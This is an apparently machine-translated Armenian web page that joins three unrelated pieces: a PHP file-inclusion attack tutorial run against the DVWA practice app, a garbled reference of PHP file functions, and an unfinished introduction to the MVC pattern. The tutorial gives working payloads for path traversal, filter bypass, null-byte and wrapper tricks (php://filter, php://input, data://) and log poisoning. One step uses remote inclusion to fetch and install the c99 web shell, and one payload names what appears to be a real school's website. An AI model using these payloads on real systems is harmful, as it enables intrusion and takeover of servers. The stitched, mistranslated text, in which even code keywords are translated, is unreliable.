Գեղարվեստական դիտում php ֆայլ: Ֆայլ - կարդում է ֆայլի բովանդակությունը և տեղադրում զանգվածի մեջ: Սերվերի վրա ֆայլերի հետ աշխատելը
Երբեմն ֆայլի ներարկումը կոչվում է ներառում, երբեմն այն համարվում է որպես PHP ներարկման մաս (կոդերի ներարկում): Վերջինս լիովին ճիշտ չէ, քանի որ ֆայլի ներարկման խոցելիությունը պարտադիր չէ, որ կապված լինի կոդի կատարման հետ:
Խոցելիությունը կարող է առաջանալ, երբ օգտագործվում են (PHP-ում) արտահայտություններ, ինչպիսիք են.
- պահանջում_մեկ անգամ,
- ներառել_մեկ անգամ,
- ներառում,
- պահանջում են
Նրանցից յուրաքանչյուրն ունի փոքր նրբերանգներ, բայց նրանց ընդհանուրն այն է, որ նրանք ներառում են ֆայլ ծրագրում և կատարում այն: Այս արտահայտությունները կարող են խնդիրներ առաջացնել, եթե դրանք փոխանցեն օգտվողի մուտքը, և ծրագիրը բավարար չափով չզտի այն:
Ի դեպ, այո, դրանք արտահայտություններ են, ոչ թե ֆունկցիաներ։ Պետք չէ գրել այսպես.
Require ("somefile.php");
Ավելի նախընտրելի տարբերակ է.
Պահանջում է «somefile.php»;
Բայց սա նահանջ է, որը ոչ մի կապ չունի խոցելիության հետ։
Եթե ֆայլերը ներառված են՝ օգտագործելով request_once, include_once, include, require արտահայտությունները, ապա կարող ենք ասել, որ կոդի ներարկումը նույնպես տեղի է ունենում միաժամանակ։ Այնուամենայնիվ, հնարավոր է ֆայլեր ներառել առանց սերվերի վրա գործարկվող կոդի: Օրինակ՝ կայքը փոխում է իր տեսքը՝ ելնելով օգտատիրոջ ընտրած թեմայից: Թեմաների անվանումը համապատասխանում է սերվերում կարդացվող HTML ֆայլերի անվանմանը: Այս իրավիճակում, եթե հարցումը ձևավորվում է այնպես, որ կարդացվի ֆայլ, որը նախատեսված չէ դրա համար (օրինակ՝ PHP ֆայլ), ապա հրամաններ կատարելու փոխարեն կցուցադրվի PHP աղբյուրի կոդը։
Օգտագործողը կարող է որպես ներառման ֆայլ նշել հեռավոր կամ տեղական ֆայլ: Դրա հիման վրա առանձնանում են երկու համապատասխան սորտեր.
- տեղական ֆայլի ներարկում
- հեռավոր ֆայլի ներարկում
Հեռավոր ընդգրկման վտանգը խոցելի սերվերի վրա կամայական կոդի կատարումն է։ Սա սովորաբար օգտագործվում է հետնամասային վարակների համար:
Տեղական ֆայլերի ներարկման վտանգը կայանում է նրանում, որ օգտագործողը կարող է ցուցադրել այն ֆայլերի բովանդակությունը, որոնք նա իրավունք չունի դիտելու (ծրագրի սկզբնական կոդերը, պարամետրերով և գաղտնաբառերով համակարգի ֆայլերը): Բացի այդ, տեղական ընդգրկման դեպքում հնարավոր է գործարկել երրորդ կողմի կոդը (օրինակ, հետնախորշի վարակման համար), եթե նախապես սերվեր է վերբեռնվել վնասակար կոդով ֆայլ, կամ օգտագործվել է տեղեկամատյանների թունավորման մեթոդը կամ այլ մեթոդներ:
Ֆայլերի տեղային ընդգրկումը ոչ պակաս վտանգավոր է, քան հեռավոր ֆայլերի ներդրումը:
Տեղական ֆայլերի ներդրման շահագործումԴուք կարող եք փորձել ձեր ուժերը այս խոցելիության հարցում Damn Vulnerable Web Application-ում (DVWA): Ես օգտագործում եմ Web Security Dojo-ն, որտեղ արդեն տեղադրված է DVWA:
Սկսենք ցածր մակարդակից (ցածր DVWA անվտանգություն):
Եկեք գնանք Ֆայլի ներառման էջ http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
Եթե ֆայլի անվանման նման արժեք (file1.php, file2.php) որպես արգումենտ փոխանցվում է փոփոխականին, ապա մենք կարող ենք ենթադրել, որ օգտագործվում է ներառել։ Քանի որ ֆայլի ընդլայնումը .php է, ֆայլը, ամենայն հավանականությամբ, կատարվում է սերվերի վրա (այսինքն՝ կոդի ներարկումը հնարավոր է) և ոչ միայն ցուցադրվելու համար:
DVWA-ն ունի http://localhost/dvwa/about.php էջ, այն գտնվում է երկու մակարդակով, եկեք փորձենք դիտել այն այսպես՝ http://localhost/dvwa/vulnerabilities/fi/?page=../: ./ about.php
Այո, կա տեղական ներառման խոցելիություն: Մուտքագրելիս վերին դիրեկտորիաներին (../) անցումները չեն զտվում, ներառման համար նախատեսված ֆայլերի ցանկը սպառիչ չէ (առաջարկվող ֆայլի*.php-ի փոխարեն մենք ընտրել ենք about.php):
Երբեմն օգտագործվում են ներառված ֆայլեր, բայց հասցեները կարող են թվալ, օրինակ, այսպես՝ http://localhost/dvwa/vulnerabilities/fi/?page=file1: Այս դեպքում սկրիպտին կարող է ավելացվել ընդլայնում և սկրիպտը տեղադրում է ֆայլ, որի անունը վերջապես ձևավորվում է սկրիպտում։ Սովորաբար, այս ձևի խոցելիությունը դժվար/անհնար է շահագործել:
Հաճախ մարդիկ սիրում են նման բան տալ որպես տեղական ֆայլերի ընդգրկումը շահագործելու օրինակ.
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
Ինչպես տեսնում ենք, ստացվեց։ Բայց քանի որ վեբ բրաուզերներն անտեսում են /r/n-ը (նոր տողերի նիշերը), մենք պետք է բացենք կոդը՝ մուտքերը ընթեռնելի դարձնելու համար.
Ցավոք, /etc/passwd ֆայլում երկար ժամանակ գաղտնաբառեր չկան։
Սերվերից կարող եք քաշել տարբեր կարգավորումների ֆայլեր, SSL վկայագրեր, սկզբունքորեն, ցանկացած ֆայլ, որը բաց է բոլոր օգտատերերի կողմից կարդալու համար կամ որի համար վեբ սերվերն ունի կարդալու բավարար իրավունքներ.
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
Ինչ վերաբերում է համօգտագործվող հոսթինգներին, երբեմն հնարավոր է դիտել այլ մարդկանց թղթապանակները (կրկին, եթե օգտվողի իրավունքները սխալ կազմաձևված են):
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
Խնդիրը բարդանում է նրանով, որ մենք պետք է իմանանք դեպի ֆայլ տանող ճանապարհը:
Հեռավոր ֆայլի ներարկման գործողությունPHP-ն շատ ճկուն և մշակողներին հարմար ծրագրավորման լեզու է: Ֆայլերի ներկառուցման հրամանները և որոշ այլ հրամաններ հիանալի ճանաչում և ճիշտ մշակում են ոչ միայն տեղական ֆայլերը, այլև URL-ները...
Փորձենք ֆայլի անվան փոխարեն գրել կայքի URL https://site/.
http://localhost/dvwa/vulnerabilities/fi/?էջ=https://site/
Տեսեք, թե որքան հետաքրքիր է ստացվում.
Տեղի ունեցավ հետևյալը. PHP թարգմանիչը հրաման ստացավ ներառել ֆայլը/կայքը https://site/: Նա բացեց/ներբեռնեց համապատասխան հասցեն և ուղարկեց ստացված կոդը՝ որպես PHP ծրագիր գործարկելու։ Քանի որ PHP-ն կատարում է միայն համապատասխան պիտակներով շրջապատված կոդը (այս դեպքում ընդհանրապես կոդ չկար) և թողարկում է մնացած ամեն ինչ այնպես, ինչպես կա, ամբողջ կայքի էջը թողարկվում է այնպես, ինչպես կա:
Իհարկե, այս խոցելիությունը մեզ հետաքրքիր է ոչ այն պատճառով, որ մենք կարող ենք դիտել այլ կայքեր մեկ կայքի միջոցով:
Ես առանձնացրեցի «տեքստ» բառը այն պատճառով, որ մեր վերահսկողության տակ գտնվող սերվերում պետք է լինի տեքստային ֆայլ, որը չպետք է կատարվի մեր սերվերի վրա: Մեր սերվերը միայն պետք է ցույց տա իր բովանդակությունը:
Backdoor ստեղծելու համար կարող եք օգտագործել Weevely, PhpSploit, կամ կարող եք վերցնել պատրաստի լուծումներ։ Եկեք այս անգամ օգտագործենք պատրաստի մեկը։
Ես $backdoor փոփոխականին կնշանակեմ backdoor-ի սկզբնական կոդը, որը ես ներբեռնում եմ Github-ից: Այնուհետև ես օգտագործում եմ file_put_contents ֆունկցիան՝ ստացված աղբյուրի կոդը c99unlimited.php ֆայլում պահելու համար:
Կոդը, որը ես տեղադրել եմ տեքստային ֆայլում
$backdoor = file_get_contents ("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents ("c99unlimited.php", "$backdoor"); արձագանք «կատարված է»;
Այն հասանելի է http://miloserdov.org/sec.txt կայքում
Այժմ, օգտագործելով հեռակառավարման վահանակ, մենք վերբեռնում ենք հետնադուռ խոցելի սերվերի վրա:
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Ուշադրություն դարձրեք կատարված մակագրությանը, այն ցուցադրվում է սցենարով, այսինքն. ամեն ինչ, հավանաբար, ստացվեց:
Քանի որ սկրիպտը, որը ներառում է ֆայլերը, գտնվում է http://localhost/dvwa/vulnerabilities/fi/ գրացուցակում, և հետևի դռնով մեր նոր ֆայլը պետք է պահպանված լիներ c99unlimited.php անունով, հետևի դռան ամբողջական հասցեն նշված է. խոցելի սերվերը պետք է լինի՝ http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php
Մենք ստուգում ենք.
Հիանալի է, հիմա մենք ունենք բոլոր այն հնարավորությունները, որոնք կարող են անհրաժեշտ լինել վեբ սերվերի ադմինիստրատորին... և նրանց, ովքեր մուտք ունեն դեպի իրենց սերվերը:
Շրջանցեք զտումը տեղական ֆայլերը ներառելիսԵկեք անցնենք անվտանգության միջին մակարդակին (կարգավորելի DVWA Security-ում):
Եթե նայենք աղբյուրի կոդը (Դիտել աղբյուրի կոճակը).
այնուհետև կտեսնենք, որ ../ նիշերն այժմ զտված են: Սա թույլ չի տա մեզ տեղափոխել ավելի բարձր գրացուցակ, քան այն, որտեղ աշխատում է խոցելի սկրիպտը:
Նրանք. ոչինչ չի ստացվի այսպես.
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
Եկեք մտածենք, թե այս դեպքում ինչպես է աշխատում զտումը: Ենթադրենք, «վատ» բառը զտված է, հետո նման տող
լավ վատ լավ
զտելուց հետո այն կունենա հետևյալ տեսքը.
լավ լավ
Եվ եթե դուք տեղադրեք նման տող
վատ վատ xo
հետո զտելուց հետո («վատը» կհեռացվի) կստացվի
Վատ
../-ում նորից դնում ենք ../ մեջտեղում, պարզվում է ..././
Փորձենք այս հասցեն http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf
Դա աշխատեց!
Մեկ այլ լուծում կարող է լինել նիշերի կոդավորումը տասնվեցական կոդավորման մեջ, այս տողի օրինակ.
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
«../»-ը կարող է փոխարինվել «%2E%2E%2f»-ով:
Գործում է նաև կրկնակի վեցանկյուն կոդավորում, որտեղ «../»-ը փոխարինվում է «%252E%252E%252F»-ով:
Ֆայլերի տեղային ընդգրկում սցենարի մեջ ընդլայնում ավելացնելիսԵթե ֆայլերը ներառող կոդը նման է.
Նրանք. Եթե .php կամ որևէ այլ ընդլայնում ավելացվի օգտատիրոջ ցանկացած մուտքագրում, դա թույլ չի տալիս, որ հարցումը ձևավորվի այնպես, որ հարձակում իրականացնի:
Կան մի քանի տեխնիկա, որոնք նախատեսված են ընդլայնումը հեռացնելու համար, բայց դրանք կարելի է համարել հնացած, քանի որ աշխատում են PHP 5.3-ի վրա, և նույնիսկ այդ դեպքում ոչ բոլոր տարբերակները: Այնուամենայնիվ, վեբ սերվերի ադմինիստրատորները կլինիկորեն պահպանողական են և նախընտրում են չդիպչել որևէ բանի, եթե այն աշխատում է: Նրանք. Հնարավորություն կա հանդիպել PHP-ի շատ հին տարբերակով սերվերի, և դուք պետք է տեղյակ լինեք այս տեխնիկայի մասին:
Օգտագործելով զրոյական բայթ %00 (null byte)
Հարցման վերջում ավելացվում է զրոյական բայթ՝ ընդլայնումն անտեսելու համար.
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
Երկրորդ մեթոդը կոչվում է ճանապարհի հատման հարձակում: Ներքևի տողն այն է, որ PHP-ն կրճատում է 4096 բայթից երկար ուղիները: Այս դեպքում PHP-ն ճիշտ է բացում ֆայլը, նույնիսկ եթե նրա անվան վերջում կան շեղեր և կետեր։ Եթե որպես պարամետր փոխանցեք նման բան?param1=../../../../etc/passwd/./././././ (որտեղ ./ կրկնվում է հազարավոր անգամներ), ապա վերջի ֆայլը ընդլայնման հետ միասին (որը ավելացրել է սկրիպտը, որի արդյունքում ֆայլի անունը դարձել է ներառում/../../../../etc/passwd/./././././ .php) կհեռացվի: Եվ ֆայլի անունը կներառի/../../../../etc/passwd/./././././: Եվ քանի որ PHP-ն չի շփոթվում ֆայլի վերջում հետևող շեղերով և ./-ով, այն պարզապես անտեսում է դրանք, ընդհանուր առմամբ PHP-ն կբացի ֆայլը ներառող/../../../../etc/: passwd.
Հեռավոր ֆայլերի ներարկման համար զտման շրջանցումԻնչպես արդեն տեսանք սկզբնաղբյուրում, անվտանգության միջին մակարդակը նույնպես զտում է http:// և https://:
Այժմ http://localhost/dvwa/vulnerabilities/fi/?: Մենք կօգտագործենք ճիշտ նույն տեխնիկան, որը շրջանցում է զտումը տեղական ներառմամբ: Ստեղծված հարցում.
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
Եվ նաև նշեք, որ այն զտված չէ, օրինակ ftp, այսինքն. Այս տարբերակը կաշխատի առանց որևէ հնարքների.
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
PHP սկրիպտների սկզբնական կոդը ստանալը php://filter-ից ֆայլեր ներառելիսԱյս հնարքը չի պահանջում հեռավոր ֆայլի ներառում: Կօգտագործվի մի տեսակ meta wrapper php://filter:
Ենթադրենք, մենք ուզում ենք տեսնել file1.php ֆայլի սկզբնական կոդը, ապա մեր իրավիճակի համար հարցումը կկազմվի այսպես.
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Ուշադրություն դարձրեք տառերի և թվերի անիմաստ շարանին. սա file1.php ֆայլի սկզբնաղբյուրն է base64 կոդավորման մեջ: Քանի որ այն base64 է, երկուական ֆայլերը նույնպես աջակցվում են:
Եկեք վերծանենք ֆայլը.
Սա նման չէ ֆայլերի ներկառուցմանը և կրկին չի պահանջում ֆայլեր վերբեռնել:
Օգնելու համար ես կօգտագործեմ FireFox ընդլայնումը, կարող եք նաև օգտագործել այն կամ որևէ այլ ծրագիր (օրինակ՝ curl), որը կարող է տվյալներ փոխանցել POST մեթոդով։
php:/
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
Իսկ հարցումի մարմնում ուղարկեք ճիշտ PHP կոդը (օրինակ՝ օգտագործելով POST մեթոդը)։ Սա թույլ կտա ձեզ կատարել հեռավոր սերվերի վրա թույլատրված ցանկացած գործառույթ:
Բացի այդ, PHP-ն աջակցում է data:// URL սխեման: Դուք կարող եք տեղադրել կոդը անմիջապես GET պարամետրում: Հետևյալ թեստը չի պահանջում որևէ հատուկ գործիք, պարզապես սովորական զննարկիչ՝ հարձակումն իրականացնելու համար:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Որոշ վեբ հավելվածների firewalls կարող են նկատել կասկածելի տող URL-ում և արգելափակել վնասակար հարցումը: Բայց կա տողը գաղտնագրելու միջոց առնվազն base64 կոդավորմամբ.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
/proc/self/environ-ը գործընթացի փոփոխական պահեստավորումն է: Եթե Apache պրոցեսն ունի դրան մուտք գործելու բավարար իրավունքներ, ապա նմանատիպ URL-ով ներառող վեբ էջ բացելիս,
www.website.com/view.php?page=../../../../../proc/self/environ
դուրս կբերի նման բան
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../: ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Տարբերակ/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET_phURI? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx: 1xx.6x [էլփոստը պաշտպանված է] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Ուշադրություն դարձրեք HTTP_USER_AGENT-ին: Փոխարենը, դուք կարող եք փոխարինել ճիշտ PHP կոդը, որը կկատարվի հեռավոր սերվերի վրա:
Ցավոք, այս մեթոդն այլևս չի աշխատում Apache-ի վերջին տարբերակների վրա:
Դրա էությունը կայանում է նրանում, որ հարձակվողի կոդը ներարկվում է վեբ սերվերի տեղեկամատյաններում: Դա կարելի է անել՝ փոխարինելով User-Agent-ը, կամ նույնիսկ պարզապես փոխանցելով այն GET պարամետրով:
Հեռավոր ֆայլի ստատիկ ներարկումՍտատիկի օրինակը ներառում է.
Դուք կարող եք օգտագործել ստատիկ ընդգրկումը շատ էկզոտիկ իրավիճակներում: Վնասակար կոդ ներարկելու համար անհրաժեշտ է երկու սերվերների միջև «մարդը միջինում» հարձակում իրականացնել, որոնցից մեկը հոսթինգում է վեբ հավելվածը՝ օգտագործելով ներառելը, իսկ երկրորդը՝ ընդգրկման համար օգտագործվող ֆայլը:
PHP file_exists("test.txt")//Արդյո՞ք ֆայլը գոյություն ունի: filesize("test.txt");//Իմացեք ֆայլի չափը //Ժամանակի դրոշմը վերադարձվում է. fileatime("test.txt");//Ֆայլին վերջին մուտքի ամսաթիվը //date("d M Y" , $atime); filemtime ("test.txt");//Ֆայլի փոփոխման ամսաթիվ //date ("d M Y", $mtime); filectime ("test.txt");//Ֆայլի ստեղծման ամսաթիվ (Windows) //ամսաթիվ ("d M Y", $ctime); Ֆայլեր. գործառնական ռեժիմներ PHP ռեսուրսի բաց (string filename, string mode) // ռեսուրս - ֆայլին ցուցիչ է վերադարձնում հաջողության դեպքում կամ FALSE սխալի դեպքում| բաց ֆայլ միայն կարդալու համար; |
| բացել ֆայլը կարդալու և գրելու համար; |
| բացել ֆայլը միայն գրելու համար: Եթե այն գոյություն ունի, ապա ֆայլի ընթացիկ բովանդակությունը ոչնչացվում է: Ընթացիկ դիրքը դրված է սկզբում. |
| բացել ֆայլը կարդալու և գրելու համար: Եթե այն գոյություն ունի, ապա ֆայլի ընթացիկ բովանդակությունը ոչնչացվում է: Ընթացիկ դիրքը դրված է սկզբում. |
| բացել ֆայլը գրելու համար: Ընթացիկ դիրքը դրված է ֆայլի վերջում. |
| բացել ֆայլը կարդալու և գրելու համար: Ընթացիկ դիրքը դրված է ֆայլի վերջում. |
| մշակել երկուական ֆայլը: Այս դրոշը պահանջվում է Windows-ում երկուական ֆայլերի հետ աշխատելիս: |
Սկզբում Write-ը տեղի կունենա ֆայլի սկզբում` վերագրելով առկա տվյալները, եթե այդպիսիք կան: Հետևաբար, եթե Ձեզ անհրաժեշտ է ինչ-որ բան գրել ֆայլի վերջում, ապա պետք է սահմանեք համապատասխան ընթերցման ռեժիմ, օրինակ՝ a+:
Կուրսորի կառավարում PHP ֆայլերում PHP int fseek(int fi, int offset [, int wherece]) //Կուրսորի կարգավորում // int fi - ֆայլի ցուցիչ //offset - շարժվող նիշերի քանակը: //որտեղից. //SEEK_SET - շարժումը սկսվում է ֆայլի սկզբից; //SEEK_CUR - շարժումը սկսվում է ընթացիկ դիրքից; //SEEK_END - շարժումը սկսվում է ֆայլի վերջից: fseek ($fi, -10, SEEK_END); //Կարդացեք վերջին 10 նիշերը $s = fread($fi, 10); $pos = ftell ($fi); // Պարզեք ընթացիկ դիրքը rewind($f) // վերակայեք կուրսորը bool feof($f) // ֆայլի վերջ Ուղղակի աշխատանք ֆայլերի (տվյալների) հետ PHP-ում PHP զանգվածի ֆայլ (string filename) // Ստացեք բովանդակությունը ֆայլի զանգվածի տեսքով // Տվյալների հետ ուղղակիորեն աշխատելու մեկ այլ տարբերակ file_get_contents(string filename) //Ընթերցում (մենք ստանում ենք ամբողջ ֆայլը մեկ տողում) //Ֆայլի վրա գրել (ի սկզբանե վերագրված) file_put_contents(string filename) , խառը տվյալներ[,int flag]); //FILE_APPEND // Ֆայլի վերջում գրել. file_put_contents("test.txt", "data", FILE_APPEND); //Եթե գրեք զանգված, $array = array("I", "live"); file_put_contents ("test.txt",$array); //այնուհետև մենք ստանում ենք «Ilive» Ֆայլերի կառավարում php PHP-ի պատճենում (string source, string destination); // Ֆայլի վերանվանման պատճենում (str oldname, str newname); // Վերանվանել ֆայլը unlink (string filename); // Ֆայլի ջնջում Ֆայլերի վերբեռնում PHP սերվեր // PHP.ini կարգավորումներ file_uploads (միացված|անջատված) // թույլ տալով կամ անջատել ֆայլերի վերբեռնումները upload_tmp_dir // բեռնված ֆայլերի ժամանակավոր թղթապանակ: լռելյայն ժամանակավոր թղթապանակ upload_max_filesize (կանխադրված = 2 Մբ) // մաքս. վերբեռնված ֆայլի չափը post_max_size // ուղարկված ձևի ընդհանուր չափը (պետք է լինի ավելի մեծ, քան upload_max_filesize) //Պարզ HTML վերբեռնում Մենք աշխատում ենք ֆայլերի հետ PHP սերվերում //Տվյալների ընդունում $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; //Տեղափոխել ֆայլը move_uploaded_file($tmp, name); move_uploaded_file ($tmp, «upload/».name); // վերահղել ֆայլը դեպի վերբեռնման թղթապանակ // ընթացիկ ֆայլի համեմատ // Ինչ կա $_FILES զանգվածում $_FILES["userfile"]["name"] // ֆայլի անունը, օրինակ, test.html $_FILES[ "userfile"][" tmp_name"] // ժամանակավոր ֆայլի անուն (ուղի) $_FILES["userfile"]["size"] // ֆայլի չափը $_FILES["userfile"]["type"] // ֆայլի տեսակը $ _FILES["userfile"] ["error"] // 0 - սխալներ չկան, համարը - այո Շատերը սկսում են նախագիծ գրել մեկ առաջադրանքի հետ աշխատելու համար՝ չենթադրելով, որ այն կարող է վերածվել մի քանի օգտատերերի կառավարման համակարգի, օրինակ. , բովանդակություն կամ, Աստված մի արասցե, արտադրություն։ Եվ ամեն ինչ հիանալի և զով է թվում, ամեն ինչ աշխատում է, մինչև չես սկսում հասկանալ, որ գրված կոդը ամբողջությամբ բաղկացած է հենակներից և կոշտ կոդերից: Կոդը խառնված է դասավորության, հարցումների և հենակների հետ, երբեմն նույնիսկ անընթեռնելի: Առաջանում է հրատապ խնդիր. նոր հնարավորություններ ավելացնելիս պետք է շատ երկար ժամանակ խառնել այս կոդը՝ հիշելով «ի՞նչ էր գրված այնտեղ»։ և անիծիր քեզ անցյալում:Դուք նույնիսկ լսել եք դիզայնի նախշերի մասին և նույնիսկ թերթել եք այս հրաշալի գրքերը.
- E. Gamma, R. Helm, R. Johnson, J. Vlissides «Օբյեկտակենտրոն նախագծման տեխնիկա. Դիզայնի նախշեր»;
- Մ. Ֆաուլեր «Ձեռնարկությունների ծրագրային հավելվածների ճարտարապետություն».
Այս հոդվածը օգտակար կլինի հիմնականում սկսնակների համար: Ամեն դեպքում, հուսով եմ, որ մի քանի ժամից դուք կկարողանաք պատկերացում կազմել MVC-ի օրինաչափության իրականացման մասին, որը ընկած է բոլոր ժամանակակից վեբ շրջանակների հիմքում, ինչպես նաև «կերակուր» ստանալ՝ հետագա մտորումների համար, թե «ինչպես անել»: Արա." Հոդվածի վերջում կա օգտակար հղումների ընտրանի, որոնք նաև կօգնեն ձեզ հասկանալ, թե ինչից են բաղկացած վեբ շրջանակները (բացի MVC-ից) և ինչպես են դրանք աշխատում:
Փորձված PHP ծրագրավորողները դժվար թե իրենց համար որևէ նոր բան գտնեն այս հոդվածում, բայց նրանց մեկնաբանությունները և մեկնաբանությունները հիմնական տեքստի վերաբերյալ շատ օգտակար կլինեն: Որովհետեւ Առանց տեսության պրակտիկան անհնար է, իսկ առանց պրակտիկայի տեսությունն անօգուտ է, հետո սկզբում մի փոքր տեսություն կլինի, հետո կանցնենք պրակտիկային։ Եթե դուք արդեն ծանոթ եք MVC հայեցակարգին, կարող եք բաց թողնել տեսության բաժինը և անմիջապես անցնել պրակտիկային:
1. Տեսություն MVC օրինաչափությունը նկարագրում է հավելվածի կառուցվածքի պարզ միջոց, որի նպատակն է առանձնացնել բիզնես տրամաբանությունը օգտատիրոջ միջերեսից: Արդյունքում հավելվածն ավելի հեշտ է չափավորել, փորձարկել, պահպանել և, իհարկե, իրականացնել:Եկեք նայենք MVC օրինաչափության հայեցակարգային դիագրամին (իմ կարծիքով, սա իմ տեսած ամենահաջող դիագրամն է).
MVC ճարտարապետության մեջ մոդելը տրամադրում է տվյալներ և բիզնես տրամաբանության կանոններ, դիտումը պատասխանատու է օգտատիրոջ միջերեսի համար, իսկ վերահսկիչը ապահովում է մոդելի և տեսքի փոխազդեցությունը:
MVC հավելվածի տիպիկ հոսքը կարելի է նկարագրել հետևյալ կերպ.
Սա ցուցադրում է, ասենք, կայքի գլխավոր էջի տեսքը:
որը, օրինակ, պարունակում է մոդելային զանգեր, որոնք կարդում են տեղեկատվությունը տվյալների բազայից:
Մոդելը չպետք է ուղղակիորեն փոխազդի օգտագործողի հետ: Օգտագործողի հարցման հետ կապված բոլոր փոփոխականները պետք է մշակվեն վերահսկիչում:
Մոդելը չպետք է ստեղծի HTML կամ ցուցադրման այլ կոդ, որը կարող է փոխվել՝ կախված օգտագործողի կարիքներից: Նման ծածկագիրը պետք է մշակվի դիտումների մեջ:
Նույն մոդելը, օրինակ. օգտագործողի վավերացման մոդելը կարող է օգտագործվել հավելվածի և՛ օգտագործողի, և՛ վարչական մասերում: Այս դեպքում դուք կարող եք ընդհանուր կոդը տեղափոխել առանձին դաս և ժառանգել դրանից՝ սահմանելով ենթածրագրին հատուկ մեթոդներ իր սերունդներում։
View - օգտագործվում է կարգավորիչից և մոդելից ստացված տվյալների արտաքին ցուցադրումը նշելու համար:
Դիտումները պարունակում են HTML նշում և PHP կոդի փոքր ներդիրներ՝ տվյալներ անցնելու, ձևաչափելու և ցուցադրելու համար:
Չպետք է ուղղակիորեն մուտք գործել տվյալների բազա: Ահա թե ինչ պետք է անեն մոդելները։
Չպետք է աշխատի օգտվողի հարցումից ստացված տվյալների հետ: Այս խնդիրը պետք է կատարի վերահսկիչը:
Կարող է ուղղակիորեն մուտք գործել կարգավորիչի կամ մոդելների հատկություններ և մեթոդներ՝ ելքային պատրաստ տվյալներ ստանալու համար:
Դիտումները սովորաբար բաժանվում են ընդհանուր ձևանմուշի, որը պարունակում է բոլոր էջերի համար ընդհանուր նշագրում (օրինակ՝ վերնագիր և ստորագիր) և կաղապարի մասեր, որոնք օգտագործվում են մոդելից տվյալների ելքը կամ տվյալների մուտքագրման ձևերը ցուցադրելու համար:
Կարգավորիչը սոսինձ է, որը միացնում է մոդելները, տեսարանները և այլ բաղադրիչները աշխատանքային հավելվածի մեջ: Կարգավորիչը պատասխանատու է օգտվողների հարցումների մշակման համար: Կարգավորիչը չպետք է պարունակի SQL հարցումներ: Ավելի լավ է դրանք պահել մոդելներում։ Կարգավորիչը չպետք է պարունակի HTML կամ այլ նշում: Արժե այն դիտարկել:
Լավ մշակված MVC հավելվածում կարգավորիչները սովորաբար շատ բարակ են և պարունակում են ընդամենը մի քանի տասնյակ տող կոդ: Նույնը չի կարելի ասել CMS Joomla-ում Stupid Fat Controllers (SFC) մասին: Կարգավորիչի տրամաբանությունը բավականին բնորոշ է, և դրա մեծ մասը փոխանցվում է բազային դասերին:
Մոդելները, ընդհակառակը, շատ հաստ են և պարունակում են տվյալների մշակման հետ կապված կոդի մեծ մասը, քանի որ տվյալների կառուցվածքը և դրա մեջ պարունակվող բիզնես տրամաբանությունը սովորաբար բավականին հատուկ են որոշակի հավելվածին:
Հուսով եմ, որ դուք արդեն նկատել եք, որ տարբեր կայքեր կարող են ունենալ բոլորովին տարբեր ձևաչափեր հասցեի տող կառուցելու համար: Յուրաքանչյուր ձևաչափ կարող է ցուցադրել վեբ հավելվածի ճարտարապետությունը: Չնայած դա միշտ չէ, որ այդպես է, շատ դեպքերում դա հստակ փաստ է:
Դիտարկենք հասցեի տողի երկու տարբերակ, որոնք ցուցադրում են որոշ տեքստ և օգտվողի պրոֆիլ:
Առաջին տարբերակ.
Երկրորդ տարբերակ.
Դուք կարող եք տեսնել բազմակողմանի հպման մոտեցումը phpBB ֆորումներում: Ֆորումը դիտվում է viewforum.php սցենարով, թեման դիտվում է viewtopic.php-ով և այլն։ Երկրորդ մոտեցումը, որը հասանելի է մեկ ֆիզիկական սցենարի ֆայլի միջոցով, կարելի է տեսնել իմ սիրելի CMS MODX-ում, որտեղ բոլոր զանգերն անցնում են index.php-ով:
